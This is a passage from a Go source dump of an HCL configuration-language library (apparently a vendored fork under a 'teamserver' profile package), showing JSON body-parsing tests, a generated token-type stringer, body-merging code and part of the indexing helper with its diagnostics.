11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 15, Byte: 14}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, }, 0, }, { `{"resource":[{},{}]}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 15, Line: 1, Column: 16, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, End: hcl.Pos{ Byte: 15, Line: 1, Column: 16, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 16, Line: 1, Column: 17, }, End: hcl.Pos{ Byte: 18, Line: 1, Column: 19, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 16, Line: 1, Column: 17, }, End: hcl.Pos{ Byte: 17, Line: 1, Column: 18, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 17, Line: 1, Column: 18, }, End: hcl.Pos{ Byte: 18, Line: 1, Column: 19, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 20, Byte: 19}, End: hcl.Pos{Line: 1, Column: 21, Byte: 20}, }, }, 0, }, { `{"resource":{"foo_instance":{"bar":{}}}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"type", "name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 29, Line: 1, Column: 30, }, End: hcl.Pos{ Byte: 34, Line: 1, Column: 35, }, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 40, Byte: 39}, End: hcl.Pos{Line: 1, Column: 41, Byte: 40}, }, }, 0, }, { `{"resource":{"foo_instance":[{"bar":{}}, {"bar":{}}]}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"type", "name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 30, Line: 1, Column: 31, }, End: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, }, }, }, { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 48, Line: 1, Column: 49, }, End: hcl.Pos{ Byte: 49, Line: 1, Column: 50, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 42, Line: 1, Column: 43, }, End: hcl.Pos{ Byte: 47, Line: 1, Column: 48, }, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 54, Byte: 53}, End: hcl.Pos{Line: 1, Column: 55, Byte: 54}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 1, // name is supposed to be a block }, { `[{"name":"Ermintrude"},{"name":"Ermintrude"}]`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": { Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, // "name" attribute is defined twice }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } got, _, diags := file.Body.PartialContent(test.schema) if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } for _, problem := range deep.Equal(got, test.want) { t.Error(problem) } }) } } func TestBodyContent(t *testing.T) { // We test most of the functionality already in TestBodyPartialContent, so // this test focuses on the handling of extraneous attributes. tests := []struct { src string schema *hcl.BodySchema diagCount int }{ { `{"unknown": true}`, &hcl.BodySchema{}, 1, }, { `{"//": "comment that should be ignored"}`, &hcl.BodySchema{}, 0, }, { `{"unknow": true}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "unknown", }, }, }, 1, }, { `{"unknow": true, "unnown": true}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "unknown", }, }, }, 2, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } _, diags = file.Body.Content(test.schema) if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } }) } } func TestJustAttributes(t *testing.T) { // We test most of the functionality already in TestBodyPartialContent, so // this test focuses on the handling of extraneous attributes. tests := []struct { src string want hcl.Attributes diagCount int }{ { `{}`, map[string]*hcl.Attribute{}, 0, }, { `{"foo": true}`, map[string]*hcl.Attribute{ "foo": { Name: "foo", Expr: &expression{ src: &booleanVal{ Value: true, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 8, Line: 1, Column: 9}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 6, Line: 1, Column: 7}, }, }, }, 0, }, { `{"//": "comment that should be ignored"}`, map[string]*hcl.Attribute{}, 0, }, { `{"foo": true, "foo": true}`, map[string]*hcl.Attribute{ "foo": { Name: "foo", Expr: &expression{ src: &booleanVal{ Value: true, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 8, Line: 1, Column: 9}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 6, Line: 1, Column: 7}, }, }, }, 1, // attribute foo was already defined }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } got, diags := file.Body.JustAttributes() if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %s\nwant: %s", spew.Sdump(got), spew.Sdump(test.want)) } }) } } func TestExpressionVariables(t *testing.T) { tests := []struct { Src string Want []hcl.Traversal }{ { `{"a":true}`, nil, }, { `{"a":"${foo}"}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 9, Byte: 8}, End: hcl.Pos{Line: 1, Column: 12, Byte: 11}, }, }, }, }, }, { `{"a":["${foo}"]}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 10, Byte: 9}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, }, }, { `{"a":{"b":"${foo}"}}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 14, Byte: 13}, End: hcl.Pos{Line: 1, Column: 17, Byte: 16}, }, }, }, }, }, { `{"a":{"${foo}":"b"}}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 10, Byte: 9}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, }, }, } for _, test := range tests { t.Run(test.Src, func(t *testing.T) { file, diags := Parse([]byte(test.Src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Fatalf("JustAttributes produced diagnostics: %s", diags) } got := attrs["a"].Expr.Variables() if !reflect.DeepEqual(got, test.Want) { t.Errorf("wrong result\ngot: %s\nwant: %s", spew.Sdump(got), spew.Sdump(test.Want)) } }) } } func TestExpressionAsTraversal(t *testing.T) { e := &expression{ src: &stringVal{ Value: "foo.bar[0]", }, } traversal := e.AsTraversal() if len(traversal) != 3 { t.Fatalf("incorrect traversal %#v; want length 3", traversal) } } func TestStaticExpressionList(t *testing.T) { e := &expression{ src: &arrayVal{ Values: []node{ &stringVal{ Value: "hello", }, }, }, } exprs := e.ExprList() if len(exprs) != 1 { t.Fatalf("incorrect exprs %#v; want length 1", exprs) } if exprs[0].(*expression).src != e.src.(*arrayVal).Values[0] { t.Fatalf("wrong first expression node") } } func TestExpression_Value(t *testing.T) { src := `{ "string": "string_val", "number": 5, "bool_true": true, "bool_false": false, "array": ["a"], "object": {"key": "value"}, "null": null }` expected := map[string]cty.Value{ "string": cty.StringVal("string_val"), "number": cty.NumberIntVal(5), "bool_true": cty.BoolVal(true), "bool_false": cty.BoolVal(false), "array": cty.TupleVal([]cty.Value{cty.StringVal("a")}), "object": cty.ObjectVal(map[string]cty.Value{ "key": cty.StringVal("value"), }), "null": cty.NullVal(cty.DynamicPseudoType), } file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } for ek, ev := range expected { val, diags := attrs[ek].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(ev) { t.Errorf("wrong result %#v; want %#v", val, ev) } } } // TestExpressionValue_Diags asserts that Value() returns diagnostics // from nested evaluations for complex objects (e.g. ObjectVal, ArrayVal) func TestExpressionValue_Diags(t *testing.T) { cases := []struct { name string src string expected cty.Value error string }{ { name: "string: happy", src: `{"v": "happy ${VAR1}"}`, expected: cty.StringVal("happy case"), }, { name: "string: unhappy", src: `{"v": "happy ${UNKNOWN}"}`, expected: cty.UnknownVal(cty.String), error: "Unknown variable", }, { name: "object_val: happy", src: `{"v": {"key": "happy ${VAR1}"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "key": cty.StringVal("happy case"), }), }, { name: "object_val: unhappy", src: `{"v": {"key": "happy ${UNKNOWN}"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "key": cty.UnknownVal(cty.String), }), error: "Unknown variable", }, { name: "object_key: happy", src: `{"v": {"happy ${VAR1}": "val"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "happy case": cty.StringVal("val"), }), }, { name: "object_key: unhappy", src: `{"v": {"happy ${UNKNOWN}": "val"}}`, expected: cty.DynamicVal, error: "Unknown variable", }, { name: "array: happy", src: `{"v": ["happy ${VAR1}"]}`, expected: cty.TupleVal([]cty.Value{cty.StringVal("happy case")}), }, { name: "array: unhappy", src: `{"v": ["happy ${UNKNOWN}"]}`, expected: cty.TupleVal([]cty.Value{cty.UnknownVal(cty.String)}), error: "Unknown variable", }, } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "VAR1": cty.StringVal("case"), }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { file, diags := Parse([]byte(c.src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } val, diags := attrs["v"].Expr.Value(ctx) if c.error == "" && len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } else if c.error != "" && len(diags) == 0 { t.Fatalf("got 0 diagnostics on eval, want 1 with %s", c.error) } else if c.error != "" && len(diags) != 0 { if !strings.Contains(diags[0].Error(), c.error) { t.Fatalf("found error: %s; want %s", diags[0].Error(), c.error) } } if !val.RawEquals(c.expected) { t.Errorf("wrong result %#v; want %#v", val, c.expected) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/tokentype_string.go ================================================ // Code generated by "stringer -type tokenType scanner.go"; DO NOT EDIT. package json import "strconv" const _tokenType_name = "tokenInvalidtokenCommatokenColontokenEqualstokenKeywordtokenNumbertokenStringtokenBrackOtokenBrackCtokenBraceOtokenBraceCtokenEOF" var _tokenType_map = map[tokenType]string{ 0: _tokenType_name[0:12], 44: _tokenType_name[12:22], 58: _tokenType_name[22:32], 61: _tokenType_name[32:43], 75: _tokenType_name[43:55], 78: _tokenType_name[55:66], 83: _tokenType_name[66:77], 91: _tokenType_name[77:88], 93: _tokenType_name[88:99], 123: _tokenType_name[99:110], 125: _tokenType_name[110:121], 9220: _tokenType_name[121:129], } func (i tokenType) String() string { if str, ok := _tokenType_map[i]; ok { return str } return "tokenType(" + strconv.FormatInt(int64(i), 10) + ")" } ================================================ FILE: teamserver/pkg/profile/yaotl/merged.go ================================================ package hcl import ( "fmt" ) // MergeFiles combines the given files to produce a single body that contains // configuration from all of the given files. // // The ordering of the given files decides the order in which contained // elements will be returned. If any top-level attributes are defined with // the same name across multiple files, a diagnostic will be produced from // the Content and PartialContent methods describing this error in a // user-friendly way. func MergeFiles(files []*File) Body { var bodies []Body for _, file := range files { bodies = append(bodies, file.Body) } return MergeBodies(bodies) } // MergeBodies is like MergeFiles except it deals directly with bodies, rather // than with entire files. func MergeBodies(bodies []Body) Body { if len(bodies) == 0 { // Swap out for our singleton empty body, to reduce the number of // empty slices we have hanging around. return emptyBody } // If any of the given bodies are already merged bodies, we'll unpack // to flatten to a single mergedBodies, since that's conceptually simpler. // This also, as a side-effect, eliminates any empty bodies, since // empties are merged bodies with no inner bodies. var newLen int var flatten bool for _, body := range bodies { if children, merged := body.(mergedBodies); merged { newLen += len(children) flatten = true } else { newLen++ } } if !flatten { // not just newLen == len, because we might have mergedBodies with single bodies inside return mergedBodies(bodies) } if newLen == 0 { // Don't allocate a new empty when we already have one return emptyBody } new := make([]Body, 0, newLen) for _, body := range bodies { if children, merged := body.(mergedBodies); merged { new = append(new, children...) } else { new = append(new, body) } } return mergedBodies(new) } var emptyBody = mergedBodies([]Body{}) // EmptyBody returns a body with no content. This body can be used as a // placeholder when a body is required but no body content is available. func EmptyBody() Body { return emptyBody } type mergedBodies []Body // Content returns the content produced by applying the given schema to all // of the merged bodies and merging the result. // // Although required attributes _are_ supported, they should be used sparingly // with merged bodies since in this case there is no contextual information // with which to return good diagnostics. Applications working with merged // bodies may wish to mark all attributes as optional and then check for // required attributes afterwards, to produce better diagnostics. func (mb mergedBodies) Content(schema *BodySchema) (*BodyContent, Diagnostics) { // the returned body will always be empty in this case, because mergedContent // will only ever call Content on the child bodies. content, _, diags := mb.mergedContent(schema, false) return content, diags } func (mb mergedBodies) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) { return mb.mergedContent(schema, true) } func (mb mergedBodies) JustAttributes() (Attributes, Diagnostics) { attrs := make(map[string]*Attribute) var diags Diagnostics for _, body := range mb { thisAttrs, thisDiags := body.JustAttributes() if len(thisDiags) != 0 { diags = append(diags, thisDiags...) } if thisAttrs != nil { for name, attr := range thisAttrs { if existing := attrs[name]; existing != nil { diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf( "Argument %q was already set at %s", name, existing.NameRange.String(), ), Subject: &attr.NameRange, }) continue } attrs[name] = attr } } } return attrs, diags } func (mb mergedBodies) MissingItemRange() Range { if len(mb) == 0 { // Nothing useful to return here, so we'll return some garbage. return Range{ Filename: "", } } // arbitrarily use the first body's missing item range return mb[0].MissingItemRange() } func (mb mergedBodies) mergedContent(schema *BodySchema, partial bool) (*BodyContent, Body, Diagnostics) { // We need to produce a new schema with none of the attributes marked as // required, since _any one_ of our bodies can contribute an attribute value. // We'll separately check that all required attributes are present at // the end. mergedSchema := &BodySchema{ Blocks: schema.Blocks, } for _, attrS := range schema.Attributes { mergedAttrS := attrS mergedAttrS.Required = false mergedSchema.Attributes = append(mergedSchema.Attributes, mergedAttrS) } var mergedLeftovers []Body content := &BodyContent{ Attributes: map[string]*Attribute{}, } var diags Diagnostics for _, body := range mb { var thisContent *BodyContent var thisLeftovers Body var thisDiags Diagnostics if partial { thisContent, thisLeftovers, thisDiags = body.PartialContent(mergedSchema) } else { thisContent, thisDiags = body.Content(mergedSchema) } if thisLeftovers != nil { mergedLeftovers = append(mergedLeftovers, thisLeftovers) } if len(thisDiags) != 0 { diags = append(diags, thisDiags...) } if thisContent.Attributes != nil { for name, attr := range thisContent.Attributes { if existing := content.Attributes[name]; existing != nil { diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf( "Argument %q was already set at %s", name, existing.NameRange.String(), ), Subject: &attr.NameRange, }) continue } content.Attributes[name] = attr } } if len(thisContent.Blocks) != 0 { content.Blocks = append(content.Blocks, thisContent.Blocks...) } } // Finally, we check for required attributes. for _, attrS := range schema.Attributes { if !attrS.Required { continue } if content.Attributes[attrS.Name] == nil { // We don't have any context here to produce a good diagnostic, // which is why we warn in the Content docstring to minimize the // use of required attributes on merged bodies. diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf( "The argument %q is required, but was not set.", attrS.Name, ), }) } } leftoverBody := MergeBodies(mergedLeftovers) return content, leftoverBody, diags } ================================================ FILE: teamserver/pkg/profile/yaotl/ops.go ================================================ package hcl import ( "fmt" "math/big" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) // Index is a helper function that performs the same operation as the index // operator in the HCL expression language. That is, the result is the // same as it would be for collection[key] in a configuration expression. // // This is exported so that applications can perform indexing in a manner // consistent with how the language does it, including handling of null and // unknown values, etc. // // Diagnostics are produced if the given combination of values is not valid. // Therefore a pointer to a source range must be provided to use in diagnostics, // though nil can be provided if the calling application is going to // ignore the subject of the returned diagnostics anyway. func Index(collection, key cty.Value, srcRange *Range) (cty.Value, Diagnostics) { const invalidIndex = "Invalid index" if collection.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Attempt to index null value", Detail: "This value is null, so it does not have any indices.", Subject: srcRange, }, } } if key.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "Can't use a null value as an indexing key.", Subject: srcRange, }, } } ty := collection.Type() kty := key.Type() if kty == cty.DynamicPseudoType || ty == cty.DynamicPseudoType { return cty.DynamicVal, nil } switch { case ty.IsListType() || ty.IsTupleType() || ty.IsMapType(): var wantType cty.Type switch { case ty.IsListType() || ty.IsTupleType(): wantType = cty.Number case ty.IsMapType(): wantType = cty.String default: // should never happen panic("don't know what key type we want") } key, keyErr := convert.Convert(key, wantType) if keyErr != nil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf( "The given key does not identify an element in this collection value: %s.", keyErr.Error(), ), Subject: srcRange, }, } } // Here we drop marks from HasIndex result, in order to allow basic // traversal of a marked list, tuple, or map in the same way we can // traverse a marked object has, _ := collection.HasIndex(key).Unmark() if !has.IsKnown() { if ty.IsTupleType() { return cty.DynamicVal, nil } else { return cty.UnknownVal(ty.ElementType()), nil } } if has.False() { if (ty.IsListType() || ty.IsTupleType()) && key.Type().Equals(cty.Number) { if key.IsKnown() && !key.IsNull() { // NOTE: we don't know what any marks might've represented // up at the calling application layer, so we must avoid // showing the literal number value in these error messages // in case the mark represents something important, such as // a value being "sensitive". key, _ := key.Unmark() bf := key.AsBigFloat() if _, acc := bf.Int(nil); acc != big.Exact { // We have a more specialized error message for the // situation of using a fractional number to index into // a sequence, because that will tend to happen if the // user is trying to use division to calculate an index // and not realizing that HCL does float division // rather than integer division. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: indexing a sequence requires a whole number, but the given index has a fractional part.", Subject: srcRange, }, } } if bf.Sign() < 0 { // Some other languages allow negative indices to // select "backwards" from the end of the sequence, // but HCL doesn't do that in order to give better // feedback if a dynamic index is calculated // incorrectly. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: a negative number is not a valid index for a sequence.", Subject: srcRange, }, } } if lenVal := collection.Length(); lenVal.IsKnown() && !lenVal.IsMarked() { // Length always returns a number, and we already // checked that it's a known number, so this is safe. lenBF := lenVal.AsBigFloat() var result big.Float result.Sub(bf, lenBF) if result.Sign() < 1 { if lenBF.Sign() == 0 { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: the collection has no elements.", Subject: srcRange, }, } } else { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: the given index is greater than or equal to the length of the collection.", Subject: srcRange, }, } } } } } } // If this is not one of the special situations we handled above // then we'll fall back on a very generic message. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value.", Subject: srcRange, }, } } return collection.Index(key), nil case ty.IsObjectType(): wasNumber := key.Type() == cty.Number key, keyErr := convert.Convert(key, cty.String) if keyErr != nil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf( "The given key does not identify an element in this collection value: %s.", keyErr.Error(), ), Subject: srcRange, }, } } if !collection.IsKnown() { return cty.DynamicVal, nil } if !key.IsKnown() { return cty.DynamicVal, nil } key, _ = key.Unmark() attrName := key.AsString() if !ty.HasAttribute(attrName) { var suggestion string if wasNumber { // We note this only as an addendum to an error we would've // already returned anyway, because it is valid (albeit weird) // to have an attribute whose name is just decimal digits // and then access that attribute using a number whose // decimal representation is the same digits. suggestion = " An object only supports looking up attributes by name, not by numeric index." } return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf("The given key does not identify an element in this collection value.%s", suggestion), Subject: srcRange, }, } } return collection.GetAttr(attrName), nil case ty.IsSetType(): return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "Elements of a set are identified only by their value and don't have any separate index or key to select with, so it's only possible to perform operations across all elements of the set.", Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "This value does not have any indices.", Subject: srcRange, }, } } } // GetAttr is a helper function that performs the same operation as the // attribute access in the HCL expression language. That is, the result is the // same as it would be for obj.attr in a configuration expression. // // This is exported so that applications can access attributes in a manner // consistent with how the language does it, including handling of null and // unknown values, etc. // // Diagnostics are produced if the given combination of values is not valid. // Therefore a pointer to a source range must be 